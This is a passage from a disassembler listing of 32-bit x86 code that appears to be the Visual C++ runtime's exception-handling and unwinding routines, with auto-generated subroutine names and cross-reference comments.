		call	sub_42C8F0
		add	esp, 10h

loc_42CB11:				; CODE XREF: sub_42CA30+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_42CA30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB20	proc near		; CODE XREF: sub_427F60+6ADp
					; DATA XREF: sub_420170+3o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42CB2F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_42CB49

loc_42CB2F:				; CODE XREF: sub_42CB20+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42C690
		add	esp, 10h
		jmp	short loc_42CB7D
; ---------------------------------------------------------------------------

loc_42CB49:				; CODE XREF: sub_42CB20+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_42CB65
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42C880
		add	esp, 0Ch
		jmp	short loc_42CB7D
; ---------------------------------------------------------------------------

loc_42CB65:				; CODE XREF: sub_42CB20+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42CA30
		add	esp, 10h

loc_42CB7D:				; CODE XREF: sub_42CB20+27j
					; sub_42CB20+43j
		pop	ebp
		retn
sub_42CB20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CB80	proc near		; CODE XREF: sub_42C710+2Fp
					; sub_42C8F0+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_42CBAC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_420840
		add	esp, 0Ch

loc_42CBAC:				; CODE XREF: sub_42CB80+7j
		pop	ebp
		retn
sub_42CB80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CBB0	proc near		; CODE XREF: sub_420420+27p
					; sub_420500+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_42CBCA
		mov	[ebp+var_8], 0
		jmp	short loc_42CBD2
; ---------------------------------------------------------------------------

loc_42CBCA:				; CODE XREF: sub_42CBB0+Fj
		call	sub_42D910
		mov	[ebp+var_8], eax

loc_42CBD2:				; CODE XREF: sub_42CBB0+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_42CC0E
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42CC04
		cmp	[ebp+arg_14], 0
		jnz	short loc_42CC04
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42D120
		add	esp, 10h

loc_42CC04:				; CODE XREF: sub_42CBB0+36j
					; sub_42CBB0+3Cj
		mov	eax, 1
		jmp	loc_42CC9B
; ---------------------------------------------------------------------------

loc_42CC0E:				; CODE XREF: sub_42CBB0+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_42CC96
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42CC6E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_42CC6E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42CC6E
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_42CC9B
; ---------------------------------------------------------------------------

loc_42CC6E:				; CODE XREF: sub_42CBB0+70j
					; sub_42CBB0+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42CCA0
		add	esp, 20h

loc_42CC96:				; CODE XREF: sub_42CBB0+65j
		mov	eax, 1

loc_42CC9B:				; CODE XREF: sub_42CBB0+59j
					; sub_42CBB0+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_42CBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CCA0	proc near		; CODE XREF: sub_42CBB0+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_42CCCD
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_42CCCD
		mov	[ebp+var_28], 0
		jmp	short loc_42CCD5
; ---------------------------------------------------------------------------

loc_42CCCD:				; CODE XREF: sub_42CCA0+17j
					; sub_42CCA0+22j
		call	sub_42D910
		mov	[ebp+var_28], eax

loc_42CCD5:				; CODE XREF: sub_42CCA0+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_42CD95
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_42CD95
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_42CD95
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_42CD95
		call	sub_428EE0
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_42CD1E
		jmp	loc_42CF3C
; ---------------------------------------------------------------------------

loc_42CD1E:				; CODE XREF: sub_42CCA0+77j
		call	sub_428EE0
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_428EE0
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_432F80
		add	esp, 8
		test	eax, eax
		jz	short loc_42CD53
		mov	[ebp+var_2C], 0
		jmp	short loc_42CD5B
; ---------------------------------------------------------------------------

loc_42CD53:				; CODE XREF: sub_42CCA0+A8j
		call	sub_42D910
		mov	[ebp+var_2C], eax

loc_42CD5B:				; CODE XREF: sub_42CCA0+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42CD8E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42CD8E
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42CD8E
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42CD8E
		call	sub_42D910
		mov	[ebp+var_30], eax
		jmp	short loc_42CD95
; ---------------------------------------------------------------------------

loc_42CD8E:				; CODE XREF: sub_42CCA0+C4j
					; sub_42CCA0+CDj ...
		mov	[ebp+var_30], 0

loc_42CD95:				; CODE XREF: sub_42CCA0+3Ej
					; sub_42CCA0+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_42CEFC
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_42CEFC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_42CEFC
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_4206A0
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_42CDF4
; ---------------------------------------------------------------------------

loc_42CDE2:				; CODE XREF: sub_42CCA0:loc_42CE15j
					; sub_42CCA0:loc_42CEDAj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax

loc_42CDF4:				; CODE XREF: sub_42CCA0+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_42CEDF
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_42CE15
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_42CE17

loc_42CE15:				; CODE XREF: sub_42CCA0+168j
		jmp	short loc_42CDE2
; ---------------------------------------------------------------------------

loc_42CE17:				; CODE XREF: sub_42CCA0+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_42CE3D
; ---------------------------------------------------------------------------

loc_42CE2B:				; CODE XREF: sub_42CCA0:loc_42CED5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx

loc_42CE3D:				; CODE XREF: sub_42CCA0+189j
		cmp	[ebp+var_24], 0
		jle	loc_42CEDA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_42CE78
; ---------------------------------------------------------------------------

loc_42CE66:				; CODE XREF: sub_42CCA0+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx

loc_42CE78:				; CODE XREF: sub_42CCA0+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_42CED5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42D060
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42CE9D
		jmp	short loc_42CE66
; ---------------------------------------------------------------------------

loc_42CE9D:				; CODE XREF: sub_42CCA0+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D250
		add	esp, 2Ch
		jmp	short loc_42CF3A
; ---------------------------------------------------------------------------

loc_42CED5:				; CODE XREF: sub_42CCA0+1DCj
		jmp	loc_42CE2B
; ---------------------------------------------------------------------------

loc_42CEDA:				; CODE XREF: sub_42CCA0+1A1j
					; sub_42CCA0:loc_42CF3Aj
		jmp	loc_42CDE2
; ---------------------------------------------------------------------------

loc_42CEDF:				; CODE XREF: sub_42CCA0+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_42CEFA
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42D730
		add	esp, 8

loc_42CEFA:				; CODE XREF: sub_42CCA0+24Aj
		jmp	short loc_42CF38
; ---------------------------------------------------------------------------

loc_42CEFC:				; CODE XREF: sub_42CCA0+FEj
					; sub_42CCA0+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_42CF33
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CF40
		add	esp, 20h
		jmp	short loc_42CF38
; ---------------------------------------------------------------------------

loc_42CF33:				; CODE XREF: sub_42CCA0+267j
		call	sub_42D860

loc_42CF38:				; CODE XREF: sub_42CCA0:loc_42CEFAj
					; sub_42CCA0+291j
		jmp	short loc_42CF3C
; ---------------------------------------------------------------------------

loc_42CF3A:				; CODE XREF: sub_42CCA0+233j
		jmp	short loc_42CEDA
; ---------------------------------------------------------------------------

loc_42CF3C:				; CODE XREF: sub_42CCA0+79j
					; sub_42CCA0:loc_42CF38j
		mov	esp, ebp
		pop	ebp
		retn
sub_42CCA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CF40	proc near		; CODE XREF: sub_42CCA0+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_428EE0
		cmp	dword ptr [eax+68h], 0
		jz	short loc_42CF7E
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420540
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_42CF7E
		jmp	loc_42D051
; ---------------------------------------------------------------------------

loc_42CF7E:				; CODE XREF: sub_42CF40+Fj
					; sub_42CF40+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_4206A0
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_42CFB1
; ---------------------------------------------------------------------------

loc_42CF9F:				; CODE XREF: sub_42CF40:loc_42D009j
					; sub_42CF40+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx

loc_42CFB1:				; CODE XREF: sub_42CF40+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_42D051
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_42D009
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_42D009
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_42D00B
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_42D00B

loc_42D009:				; CODE XREF: sub_42CF40+85j
					; sub_42CF40+90j
		jmp	short loc_42CF9F
; ---------------------------------------------------------------------------

loc_42D00B:				; CODE XREF: sub_42CF40+A9j
					; sub_42CF40+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D250
		add	esp, 2Ch
		jmp	loc_42CF9F
; ---------------------------------------------------------------------------

loc_42D051:				; CODE XREF: sub_42CF40+39j
					; sub_42CF40+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42CF40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D060	proc near		; CODE XREF: sub_42CCA0+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42D07B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_42D085

loc_42D07B:				; CODE XREF: sub_42D060+Bj
		mov	eax, 1
		jmp	loc_42D112
; ---------------------------------------------------------------------------

loc_42D085:				; CODE XREF: sub_42D060+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_42D0B7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jz	short loc_42D0B7
		xor	eax, eax
		jmp	short loc_42D112
; ---------------------------------------------------------------------------

loc_42D0B7:				; CODE XREF: sub_42D060+31j
					; sub_42D060+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_42D0CF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_42D108

loc_42D0CF:				; CODE XREF: sub_42D060+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42D0E7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_42D108

loc_42D0E7:				; CODE XREF: sub_42D060+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_42D0FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42D108

loc_42D0FF:				; CODE XREF: sub_42D060+91j
		mov	[ebp+var_4], 1
		jmp	short loc_42D10F
; ---------------------------------------------------------------------------

loc_42D108:				; CODE XREF: sub_42D060+6Dj
					; sub_42D060+85j ...
		mov	[ebp+var_4], 0

loc_42D10F:				; CODE XREF: sub_42D060+A6j
		mov	eax, [ebp+var_4]

loc_42D112:				; CODE XREF: sub_42D060+20j
					; sub_42D060+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D120	proc near		; CODE XREF: .packed:0042047Ap
					; sub_42CBB0+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D328
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx

loc_42D14F:				; CODE XREF: sub_42D120+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_42D1E4
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_42D175
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_42D175
		mov	[ebp+var_20], 0
		jmp	short loc_42D17D
; ---------------------------------------------------------------------------

loc_42D175:				; CODE XREF: sub_42D120+3Fj
					; sub_42D120+4Aj
		call	sub_42D910
		mov	[ebp+var_20], eax

loc_42D17D:				; CODE XREF: sub_42D120+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_42D1B0
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_42D810

loc_42D1B0:				; CODE XREF: sub_42D120+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42D1D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42D220
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh

loc_42D1D0:				; CODE XREF: sub_42D120+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_42D14F
; ---------------------------------------------------------------------------

loc_42D1E4:				; CODE XREF: sub_42D120+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_42D1F5
		mov	[ebp+var_24], 0
		jmp	short loc_42D1FD
; ---------------------------------------------------------------------------

loc_42D1F5:				; CODE XREF: sub_42D120+CAj
		call	sub_42D910
		mov	[ebp+var_24], eax

loc_42D1FD:				; CODE XREF: sub_42D120+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42D120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D220	proc near		; CODE XREF: sub_42D120+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_42D241
		jmp	short loc_42D246
; ---------------------------------------------------------------------------

loc_42D241:				; CODE XREF: sub_42D220+1Dj
		call	sub_42D860

loc_42D246:				; CODE XREF: sub_42D220+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_42D220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D250	proc near		; CODE XREF: sub_42CCA0+22Bp
					; sub_42CF40+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_42D27A
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D4B0
		add	esp, 10h

loc_42D27A:				; CODE XREF: sub_42D250+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_42D28F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4203C0
		jmp	short loc_42D29C
; ---------------------------------------------------------------------------

loc_42D28F:				; CODE XREF: sub_42D250+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_4203C0

loc_42D29C:				; CODE XREF: sub_42D250+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42D120
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42D310
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42D303
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_420350

loc_42D303:				; CODE XREF: sub_42D250+A4j
		mov	esp, ebp
		pop	ebp
		retn
sub_42D250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D310	proc near		; CODE XREF: sub_42D250+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
